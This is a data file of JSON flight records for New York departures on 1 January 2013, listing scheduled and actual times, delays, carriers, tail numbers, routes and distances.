-{"year":2013,"month":1,"day":1,"dep_time":1655,"sched_dep_time":1621,"dep_delay":34,"arr_time":1804,"sched_arr_time":1724,"arr_delay":40,"carrier":"EV","flight":3260,"tailnum":"N19554","origin":"EWR","dest":"ALB","air_time":36,"distance":143,"hour":16,"minute":21,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1655,"sched_dep_time":1700,"dep_delay":-5,"arr_time":1953,"sched_arr_time":1950,"arr_delay":3,"carrier":"AA","flight":575,"tailnum":"N5DRAA","origin":"JFK","dest":"EGE","air_time":280,"distance":1747,"hour":17,"minute":0,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1655,"sched_dep_time":1700,"dep_delay":-5,"arr_time":2027,"sched_arr_time":2049,"arr_delay":-22,"carrier":"DL","flight":31,"tailnum":"N713TW","origin":"JFK","dest":"SFO","air_time":357,"distance":2586,"hour":17,"minute":0,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1655,"sched_dep_time":1655,"dep_delay":0,"arr_time":2025,"sched_arr_time":2030,"arr_delay":-5,"carrier":"VX","flight":413,"tailnum":"N626VA","origin":"JFK","dest":"LAX","air_time":362,"distance":2475,"hour":16,"minute":55,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1656,"sched_dep_time":1700,"dep_delay":-4,"arr_time":1941,"sched_arr_time":1955,"arr_delay":-14,"carrier":"AA","flight":257,"tailnum":"N3CAAA","origin":"JFK","dest":"LAS","air_time":322,"distance":2248,"hour":17,"minute":0,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1657,"sched_dep_time":1650,"dep_delay":7,"arr_time":1921,"sched_arr_time":1840,"arr_delay":41,"carrier":"WN","flight":2773,"tailnum":"N462WN","origin":"EWR","dest":"STL","air_time":181,"distance":872,"hour":16,"minute":50,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1657,"sched_dep_time":1630,"dep_delay":27,"arr_time":1948,"sched_arr_time":1926,"arr_delay":22,"carrier":"UA","flight":1609,"tailnum":"N17105","origin":"EWR","dest":"MCO","air_time":148,"distance":937,"hour":16,"minute":30,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1658,"sched_dep_time":1700,"dep_delay":-2,"arr_time":1808,"sched_arr_time":1840,"arr_delay":-32,"carrier":"MQ","flight":4323,"tailnum":"N688MQ","origin":"JFK","dest":"ORF","air_time":52,"distance":290,"hour":17,"minute":0,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1701,"sched_dep_time":1710,"dep_delay":-9,"arr_time":2026,"sched_arr_time":2015,"arr_delay":11,"carrier":"AA","flight":695,"tailnum":"N3FUAA","origin":"JFK","dest":"AUS","air_time":247,"distance":1521,"hour":17,"minute":10,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1701,"sched_dep_time":1700,"dep_delay":1,"arr_time":1856,"sched_arr_time":1840,"arr_delay":16,"carrier":"UA","flight":689,"tailnum":"N418UA","origin":"LGA","dest":"ORD","air_time":144,"distance":733,"hour":17,"minute":0,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1702,"sched_dep_time":1700,"dep_delay":2,"arr_time":2044,"sched_arr_time":2028,"arr_delay":16,"carrier":"UA","flight":1259,"tailnum":"N16632","origin":"LGA","dest":"IAH","air_time":234,"distance":1416,"hour":17,"minute":0,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1705,"sched_dep_time":1705,"dep_delay":0,"arr_time":2054,"sched_arr_time":2010,"arr_delay":44,"carrier":"AA","flight":1905,"tailnum":"N4WRAA","origin":"EWR","dest":"DFW","air_time":251,"distance":1372,"hour":17,"minute":5,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1705,"sched_dep_time":1710,"dep_delay":-5,"arr_time":1924,"sched_arr_time":1915,"arr_delay":9,"carrier":"US","flight":1447,"tailnum":"N188US","origin":"LGA","dest":"CLT","air_time":110,"distance":544,"hour":17,"minute":10,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1707,"sched_dep_time":1705,"dep_delay":2,"arr_time":1928,"sched_arr_time":1940,"arr_delay":-12,"carrier":"DL","flight":2121,"tailnum":"N3730B","origin":"EWR","dest":"ATL","air_time":121,"distance":746,"hour":17,"minute":5,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1707,"sched_dep_time":1700,"dep_delay":7,"arr_time":2006,"sched_arr_time":2000,"arr_delay":6,"carrier":"UA","flight":342,"tailnum":"N543UA","origin":"EWR","dest":"LAX","air_time":334,"distance":2454,"hour":17,"minute":0,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1708,"sched_dep_time":1700,"dep_delay":8,"arr_time":2037,"sched_arr_time":2005,"arr_delay":32,"carrier":"WN","flight":1066,"tailnum":"N778SW","origin":"EWR","dest":"HOU","air_time":245,"distance":1411,"hour":17,"minute":0,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1711,"sched_dep_time":1650,"dep_delay":21,"arr_time":1820,"sched_arr_time":1806,"arr_delay":14,"carrier":"EV","flight":4194,"tailnum":"N15986","origin":"EWR","dest":"BTV","air_time":48,"distance":266,"hour":16,"minute":50,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1711,"sched_dep_time":1635,"dep_delay":36,"arr_time":1918,"sched_arr_time":1845,"arr_delay":33,"carrier":"B6","flight":1085,"tailnum":"N228JB","origin":"JFK","dest":"CLT","air_time":112,"distance":541,"hour":16,"minute":35,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1711,"sched_dep_time":1600,"dep_delay":71,"arr_time":2005,"sched_arr_time":1857,"arr_delay":68,"carrier":"B6","flight":369,"tailnum":"N579JB","origin":"LGA","dest":"PBI","air_time":149,"distance":1035,"hour":16,"minute":0,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1712,"sched_dep_time":1719,"dep_delay":-7,"arr_time":1939,"sched_arr_time":1958,"arr_delay":-19,"carrier":"UA","flight":509,"tailnum":"N569UA","origin":"LGA","dest":"DEN","air_time":241,"distance":1620,"hour":17,"minute":19,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1712,"sched_dep_time":1700,"dep_delay":12,"arr_time":2042,"sched_arr_time":2036,"arr_delay":6,"carrier":"UA","flight":635,"tailnum":"N485UA","origin":"EWR","dest":"SAT","air_time":242,"distance":1569,"hour":17,"minute":0,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1713,"sched_dep_time":1700,"dep_delay":13,"arr_time":2006,"sched_arr_time":2014,"arr_delay":-8,"carrier":"B6","flight":15,"tailnum":"N346JB","origin":"JFK","dest":"FLL","air_time":156,"distance":1069,"hour":17,"minute":0,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1714,"sched_dep_time":1720,"dep_delay":-6,"arr_time":1915,"sched_arr_time":1915,"arr_delay":0,"carrier":"AA","flight":1351,"tailnum":"N3CVAA","origin":"JFK","dest":"ORD","air_time":146,"distance":740,"hour":17,"minute":20,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1716,"sched_dep_time":1730,"dep_delay":-14,"arr_time":1947,"sched_arr_time":1953,"arr_delay":-6,"carrier":"F9","flight":511,"tailnum":"N263AV","origin":"LGA","dest":"DEN","air_time":242,"distance":1620,"hour":17,"minute":30,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1716,"sched_dep_time":1545,"dep_delay":91,"arr_time":2140,"sched_arr_time":2039,"arr_delay":61,"carrier":"B6","flight":703,"tailnum":"N651JB","origin":"JFK","dest":"SJU","air_time":183,"distance":1598,"hour":15,"minute":45,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1716,"sched_dep_time":1709,"dep_delay":7,"arr_time":1902,"sched_arr_time":1846,"arr_delay":16,"carrier":"UA","flight":1623,"tailnum":"N19130","origin":"EWR","dest":"ORD","air_time":143,"distance":719,"hour":17,"minute":9,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1717,"sched_dep_time":1720,"dep_delay":-3,"arr_time":1920,"sched_arr_time":1910,"arr_delay":10,"carrier":"AA","flight":345,"tailnum":"N539AA","origin":"LGA","dest":"ORD","air_time":141,"distance":733,"hour":17,"minute":20,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1718,"sched_dep_time":1710,"dep_delay":8,"arr_time":2154,"sched_arr_time":2201,"arr_delay":-7,"carrier":"B6","flight":699,"tailnum":"N507JB","origin":"JFK","dest":"SJU","air_time":189,"distance":1598,"hour":17,"minute":10,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1719,"sched_dep_time":1720,"dep_delay":-1,"arr_time":1908,"sched_arr_time":1905,"arr_delay":3,"carrier":"MQ","flight":4479,"tailnum":"N713MQ","origin":"LGA","dest":"RDU","air_time":80,"distance":431,"hour":17,"minute":20,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1720,"sched_dep_time":1725,"dep_delay":-5,"arr_time":2121,"sched_arr_time":2105,"arr_delay":16,"carrier":"DL","flight":513,"tailnum":"N723TW","origin":"JFK","dest":"LAX","air_time":363,"distance":2475,"hour":17,"minute":25,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1725,"sched_dep_time":1730,"dep_delay":-5,"arr_time":1929,"sched_arr_time":1926,"arr_delay":3,"carrier":"US","flight":449,"tailnum":"N680AW","origin":"EWR","dest":"CLT","air_time":104,"distance":529,"hour":17,"minute":30,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1725,"sched_dep_time":1720,"dep_delay":5,"arr_time":2045,"sched_arr_time":2021,"arr_delay":24,"carrier":"UA","flight":1712,"tailnum":"N17122","origin":"EWR","dest":"IAH","air_time":235,"distance":1400,"hour":17,"minute":20,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1726,"sched_dep_time":1730,"dep_delay":-4,"arr_time":2054,"sched_arr_time":2050,"arr_delay":4,"carrier":"AA","flight":543,"tailnum":"N386AA","origin":"JFK","dest":"MIA","air_time":157,"distance":1089,"hour":17,"minute":30,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1726,"sched_dep_time":1729,"dep_delay":-3,"arr_time":2042,"sched_arr_time":2100,"arr_delay":-18,"carrier":"UA","flight":512,"tailnum":"N557UA","origin":"JFK","dest":"SFO","air_time":347,"distance":2586,"hour":17,"minute":29,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1727,"sched_dep_time":1725,"dep_delay":2,"arr_time":2043,"sched_arr_time":2040,"arr_delay":3,"carrier":"AA","flight":145,"tailnum":"N377AA","origin":"JFK","dest":"SAN","air_time":357,"distance":2446,"hour":17,"minute":25,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1728,"sched_dep_time":1600,"dep_delay":88,"arr_time":2004,"sched_arr_time":1817,"arr_delay":107,"carrier":"EV","flight":3843,"tailnum":"N13903","origin":"EWR","dest":"SDF","air_time":135,"distance":642,"hour":16,"minute":0,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1729,"sched_dep_time":1718,"dep_delay":11,"arr_time":2052,"sched_arr_time":2055,"arr_delay":-3,"carrier":"UA","flight":1284,"tailnum":"N14120","origin":"EWR","dest":"SFO","air_time":360,"distance":2565,"hour":17,"minute":18,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1730,"sched_dep_time":1730,"dep_delay":0,"arr_time":2013,"sched_arr_time":1959,"arr_delay":14,"carrier":"FL","flight":623,"tailnum":"N967AT","origin":"LGA","dest":"ATL","air_time":128,"distance":762,"hour":17,"minute":30,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1730,"sched_dep_time":1730,"dep_delay":0,"arr_time":2126,"sched_arr_time":2110,"arr_delay":16,"carrier":"B6","flight":179,"tailnum":"N618JB","origin":"JFK","dest":"PHX","air_time":323,"distance":2153,"hour":17,"minute":30,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1730,"sched_dep_time":1729,"dep_delay":1,"arr_time":2039,"sched_arr_time":2058,"arr_delay":-19,"carrier":"UA","flight":1715,"tailnum":"N77296","origin":"EWR","dest":"SEA","air_time":344,"distance":2402,"hour":17,"minute":29,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1732,"sched_dep_time":1630,"dep_delay":62,"arr_time":2028,"sched_arr_time":1825,"arr_delay":123,"carrier":"EV","flight":4092,"tailnum":"N16911","origin":"EWR","dest":"DAY","air_time":119,"distance":533,"hour":16,"minute":30,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1736,"sched_dep_time":1640,"dep_delay":56,"arr_time":2047,"sched_arr_time":2001,"arr_delay":46,"carrier":"B6","flight":139,"tailnum":"N329JB","origin":"JFK","dest":"RSW","air_time":176,"distance":1074,"hour":16,"minute":40,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1738,"sched_dep_time":1745,"dep_delay":-7,"arr_time":2030,"sched_arr_time":2042,"arr_delay":-12,"carrier":"B6","flight":547,"tailnum":"N508JB","origin":"EWR","dest":"PBI","air_time":147,"distance":1023,"hour":17,"minute":45,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1739,"sched_dep_time":1745,"dep_delay":-6,"arr_time":1956,"sched_arr_time":1953,"arr_delay":3,"carrier":"DL","flight":2331,"tailnum":"N965DL","origin":"LGA","dest":"DTW","air_time":93,"distance":502,"hour":17,"minute":45,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1739,"sched_dep_time":1740,"dep_delay":-1,"arr_time":2051,"sched_arr_time":2112,"arr_delay":-21,"carrier":"DL","flight":1339,"tailnum":"N3761R","origin":"JFK","dest":"PDX","air_time":341,"distance":2454,"hour":17,"minute":40,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1740,"sched_dep_time":1630,"dep_delay":70,"arr_time":2102,"sched_arr_time":1954,"arr_delay":68,"carrier":"DL","flight":2139,"tailnum":"N369NW","origin":"LGA","dest":"MIA","air_time":167,"distance":1096,"hour":16,"minute":30,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1740,"sched_dep_time":1745,"dep_delay":-5,"arr_time":2158,"sched_arr_time":2020,"carrier":"MQ","flight":4413,"tailnum":"N739MQ","origin":"LGA","dest":"XNA","distance":1147,"hour":17,"minute":45,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1742,"sched_dep_time":1746,"dep_delay":-4,"arr_time":2028,"sched_arr_time":2052,"arr_delay":-24,"carrier":"DL","flight":1585,"tailnum":"N933DL","origin":"LGA","dest":"MCO","air_time":145,"distance":950,"hour":17,"minute":46,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1743,"sched_dep_time":1615,"dep_delay":88,"arr_time":1925,"sched_arr_time":1819,"arr_delay":66,"carrier":"9E","flight":3651,"tailnum":"N8515F","origin":"JFK","dest":"RDU","air_time":72,"distance":427,"hour":16,"minute":15,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1744,"sched_dep_time":1750,"dep_delay":-6,"arr_time":2043,"sched_arr_time":2045,"arr_delay":-2,"carrier":"B6","flight":527,"tailnum":"N661JB","origin":"EWR","dest":"MCO","air_time":137,"distance":937,"hour":17,"minute":50,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1744,"sched_dep_time":1720,"dep_delay":24,"arr_time":2052,"sched_arr_time":2025,"arr_delay":27,"carrier":"B6","flight":163,"tailnum":"N658JB","origin":"JFK","dest":"TPA","air_time":160,"distance":1005,"hour":17,"minute":20,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1744,"sched_dep_time":1745,"dep_delay":-1,"arr_time":2055,"sched_arr_time":2059,"arr_delay":-4,"carrier":"DL","flight":1935,"tailnum":"N900DE","origin":"LGA","dest":"TPA","air_time":160,"distance":1010,"hour":17,"minute":45,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1744,"sched_dep_time":1745,"dep_delay":-1,"arr_time":1925,"sched_arr_time":1915,"arr_delay":10,"carrier":"WN","flight":128,"tailnum":"N8324A","origin":"LGA","dest":"MDW","air_time":137,"distance":725,"hour":17,"minute":45,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1745,"sched_dep_time":1749,"dep_delay":-4,"arr_time":1943,"sched_arr_time":1909,"arr_delay":34,"carrier":"B6","flight":1307,"tailnum":"N216JB","origin":"JFK","dest":"IAD","air_time":65,"distance":228,"hour":17,"minute":49,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1750,"sched_dep_time":1750,"dep_delay":0,"arr_time":2109,"sched_arr_time":2115,"arr_delay":-6,"carrier":"UA","flight":535,"tailnum":"N525UA","origin":"JFK","dest":"LAX","air_time":345,"distance":2475,"hour":17,"minute":50,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1751,"sched_dep_time":1745,"dep_delay":6,"arr_time":2044,"sched_arr_time":2040,"arr_delay":4,"carrier":"B6","flight":9,"tailnum":"N527JB","origin":"JFK","dest":"MCO","air_time":141,"distance":944,"hour":17,"minute":45,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1751,"sched_dep_time":1745,"dep_delay":6,"arr_time":2015,"sched_arr_time":1910,"arr_delay":65,"carrier":"WN","flight":3384,"tailnum":"N764SW","origin":"EWR","dest":"MDW","air_time":148,"distance":711,"hour":17,"minute":45,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1753,"sched_dep_time":1745,"dep_delay":8,"arr_time":2058,"sched_arr_time":2037,"arr_delay":21,"carrier":"B6","flight":391,"tailnum":"N630JB","origin":"LGA","dest":"MCO","air_time":144,"distance":950,"hour":17,"minute":45,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1756,"sched_dep_time":1725,"dep_delay":31,"arr_time":2036,"sched_arr_time":2019,"arr_delay":17,"carrier":"UA","flight":376,"tailnum":"N523UA","origin":"EWR","dest":"MCO","air_time":140,"distance":937,"hour":17,"minute":25,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1757,"sched_dep_time":1703,"dep_delay":54,"arr_time":1904,"sched_arr_time":1813,"arr_delay":51,"carrier":"EV","flight":4373,"tailnum":"N14998","origin":"EWR","dest":"DCA","air_time":45,"distance":199,"hour":17,"minute":3,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1757,"sched_dep_time":1759,"dep_delay":-2,"arr_time":2027,"sched_arr_time":2042,"arr_delay":-15,"carrier":"DL","flight":1047,"tailnum":"N643DL","origin":"LGA","dest":"ATL","air_time":125,"distance":762,"hour":17,"minute":59,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1758,"sched_dep_time":1800,"dep_delay":-2,"arr_time":1905,"sched_arr_time":1917,"arr_delay":-12,"carrier":"B6","flight":1016,"tailnum":"N304JB","origin":"JFK","dest":"BOS","air_time":36,"distance":187,"hour":18,"minute":0,"time_hour":"2013-01-01 18:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1758,"sched_dep_time":1800,"dep_delay":-2,"arr_time":2105,"sched_arr_time":2110,"arr_delay":-5,"carrier":"B6","flight":989,"tailnum":"N663JB","origin":"JFK","dest":"FLL","air_time":152,"distance":1069,"hour":18,"minute":0,"time_hour":"2013-01-01 18:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1758,"sched_dep_time":1749,"dep_delay":9,"arr_time":2020,"sched_arr_time":1943,"arr_delay":37,"carrier":"UA","flight":1676,"tailnum":"N37274","origin":"EWR","dest":"ORD","air_time":135,"distance":719,"hour":17,"minute":49,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1759,"sched_dep_time":1759,"dep_delay":0,"arr_time":1957,"sched_arr_time":1949,"arr_delay":8,"carrier":"EV","flight":4581,"tailnum":"N13566","origin":"EWR","dest":"CMH","air_time":95,"distance":463,"hour":17,"minute":59,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1800,"sched_dep_time":1800,"dep_delay":0,"arr_time":1945,"sched_arr_time":1951,"arr_delay":-6,"carrier":"B6","flight":1111,"tailnum":"N294JB","origin":"JFK","dest":"RDU","air_time":78,"distance":427,"hour":18,"minute":0,"time_hour":"2013-01-01 18:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1800,"sched_dep_time":1800,"dep_delay":0,"arr_time":1951,"sched_arr_time":1954,"arr_delay":-3,"carrier":"UA","flight":1053,"tailnum":"N16703","origin":"EWR","dest":"CLE","air_time":83,"distance":404,"hour":18,"minute":0,"time_hour":"2013-01-01 18:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1802,"sched_dep_time":1805,"dep_delay":-3,"arr_time":1930,"sched_arr_time":1944,"arr_delay":-14,"carrier":"DL","flight":1006,"tailnum":"N359NB","origin":"LGA","dest":"BUF","air_time":61,"distance":292,"hour":18,"minute":5,"time_hour":"2013-01-01 18:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1802,"sched_dep_time":1801,"dep_delay":1,"arr_time":2125,"sched_arr_time":2137,"arr_delay":-12,"carrier":"UA","flight":1165,"tailnum":"N75429","origin":"EWR","dest":"LAX","air_time":340,"distance":2454,"hour":18,"minute":1,"time_hour":"2013-01-01 18:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1803,"sched_dep_time":1726,"dep_delay":37,"arr_time":2011,"sched_arr_time":1934,"arr_delay":37,"carrier":"EV","flight":4382,"tailnum":"N13958","origin":"EWR","dest":"DTW","air_time":104,"distance":488,"hour":17,"minute":26,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1803,"sched_dep_time":1620,"dep_delay":103,"arr_time":2008,"sched_arr_time":1750,"arr_delay":138,"carrier":"MQ","flight":4622,"tailnum":"N504MQ","origin":"LGA","dest":"BNA","air_time":154,"distance":764,"hour":16,"minute":20,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1803,"sched_dep_time":1800,"dep_delay":3,"arr_time":2021,"sched_arr_time":2001,"arr_delay":20,"carrier":"US","flight":373,"tailnum":"N510UW","origin":"JFK","dest":"CLT","air_time":100,"distance":541,"hour":18,"minute":0,"time_hour":"2013-01-01 18:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1805,"sched_dep_time":1757,"dep_delay":8,"arr_time":2117,"sched_arr_time":2119,"arr_delay":-2,"carrier":"UA","flight":1152,"tailnum":"N39463","origin":"EWR","dest":"PDX","air_time":336,"distance":2434,"hour":17,"minute":57,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1806,"sched_dep_time":1810,"dep_delay":-4,"arr_time":2002,"sched_arr_time":1945,"arr_delay":17,"carrier":"MQ","flight":4484,"tailnum":"N711MQ","origin":"LGA","dest":"BNA","air_time":152,"distance":764,"hour":18,"minute":10,"time_hour":"2013-01-01 18:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1807,"sched_dep_time":1738,"dep_delay":29,"arr_time":2251,"sched_arr_time":2103,"carrier":"UA","flight":1228,"tailnum":"N31412","origin":"EWR","dest":"SAN","distance":2425,"hour":17,"minute":38,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1808,"sched_dep_time":1815,"dep_delay":-7,"arr_time":2111,"sched_arr_time":2130,"arr_delay":-19,"carrier":"AS","flight":7,"tailnum":"N553AS","origin":"EWR","dest":"SEA","air_time":336,"distance":2402,"hour":18,"minute":15,"time_hour":"2013-01-01 18:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1809,"sched_dep_time":1810,"dep_delay":-1,"arr_time":2117,"sched_arr_time":2132,"arr_delay":-15,"carrier":"B6","flight":217,"tailnum":"N592JB","origin":"JFK","dest":"LGB","air_time":337,"distance":2465,"hour":18,"minute":10,"time_hour":"2013-01-01 18:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1811,"sched_dep_time":1759,"dep_delay":12,"arr_time":2132,"sched_arr_time":2118,"arr_delay":14,"carrier":"UA","flight":618,"tailnum":"N482UA","origin":"EWR","dest":"DFW","air_time":228,"distance":1372,"hour":17,"minute":59,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1814,"sched_dep_time":1700,"dep_delay":74,"arr_time":2051,"sched_arr_time":1855,"arr_delay":116,"carrier":"EV","flight":4202,"tailnum":"N19966","origin":"EWR","dest":"STL","air_time":177,"distance":872,"hour":17,"minute":0,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1814,"sched_dep_time":1815,"dep_delay":-1,"arr_time":2122,"sched_arr_time":2151,"arr_delay":-29,"carrier":"B6","flight":173,"tailnum":"N569JB","origin":"JFK","dest":"SJC","air_time":334,"distance":2569,"hour":18,"minute":15,"time_hour":"2013-01-01 18:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1815,"sched_dep_time":1325,"dep_delay":290,"arr_time":2120,"sched_arr_time":1542,"arr_delay":338,"carrier":"EV","flight":4417,"tailnum":"N17185","origin":"EWR","dest":"OMA","air_time":213,"distance":1134,"hour":13,"minute":25,"time_hour":"2013-01-01 13:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1815,"sched_dep_time":1805,"dep_delay":10,"arr_time":1928,"sched_arr_time":1920,"arr_delay":8,"carrier":"WN","flight":731,"tailnum":"N266WN","origin":"LGA","dest":"BWI","air_time":46,"distance":185,"hour":18,"minute":5,"time_hour":"2013-01-01 18:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1816,"sched_dep_time":1805,"dep_delay":11,"arr_time":2013,"sched_arr_time":1955,"arr_delay":18,"carrier":"MQ","flight":4626,"tailnum":"N8EGMQ","origin":"LGA","dest":"CMH","air_time":93,"distance":479,"hour":18,"minute":5,"time_hour":"2013-01-01 18:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1816,"sched_dep_time":1800,"dep_delay":16,"arr_time":2101,"sched_arr_time":2050,"arr_delay":11,"carrier":"UA","flight":638,"tailnum":"N522UA","origin":"EWR","dest":"LAS","air_time":307,"distance":2227,"hour":18,"minute":0,"time_hour":"2013-01-01 18:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1817,"sched_dep_time":1820,"dep_delay":-3,"arr_time":2008,"sched_arr_time":2005,"arr_delay":3,"carrier":"AA","flight":353,"tailnum":"N3AXAA","origin":"LGA","dest":"ORD","air_time":138,"distance":733,"hour":18,"minute":20,"time_hour":"2013-01-01 18:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1820,"sched_dep_time":1820,"dep_delay":0,"arr_time":2216,"sched_arr_time":2150,"arr_delay":26,"carrier":"AA","flight":119,"tailnum":"N3FMAA","origin":"EWR","dest":"LAX","air_time":366,"distance":2454,"hour":18,"minute":20,"time_hour":"2013-01-01 18:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1823,"sched_dep_time":1830,"dep_delay":-7,"arr_time":2036,"sched_arr_time":2055,"arr_delay":-19,"carrier":"DL","flight":924,"tailnum":"N337NW","origin":"JFK","dest":"MSP","air_time":158,"distance":1029,"hour":18,"minute":30,"time_hour":"2013-01-01 18:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1824,"sched_dep_time":1830,"dep_delay":-6,"arr_time":2203,"sched_arr_time":2205,"arr_delay":-2,"carrier":"AA","flight":269,"tailnum":"N3ETAA","origin":"JFK","dest":"SEA","air_time":348,"distance":2422,"hour":18,"minute":30,"time_hour":"2013-01-01 18:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1825,"sched_dep_time":1829,"dep_delay":-4,"arr_time":2056,"sched_arr_time":2053,"arr_delay":3,"carrier":"9E","flight":3286,"tailnum":"N906XJ","origin":"JFK","dest":"DTW","air_time":107,"distance":509,"hour":18,"minute":29,"time_hour":"2013-01-01 18:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1825,"sched_dep_time":1829,"dep_delay":-4,"arr_time":2046,"sched_arr_time":2032,"arr_delay":14,"carrier":"US","flight":1973,"tailnum":"N460UW","origin":"EWR","dest":"CLT","air_time":106,"distance":529,"hour":18,"minute":29,"time_hour":"2013-01-01 18:00:00"} 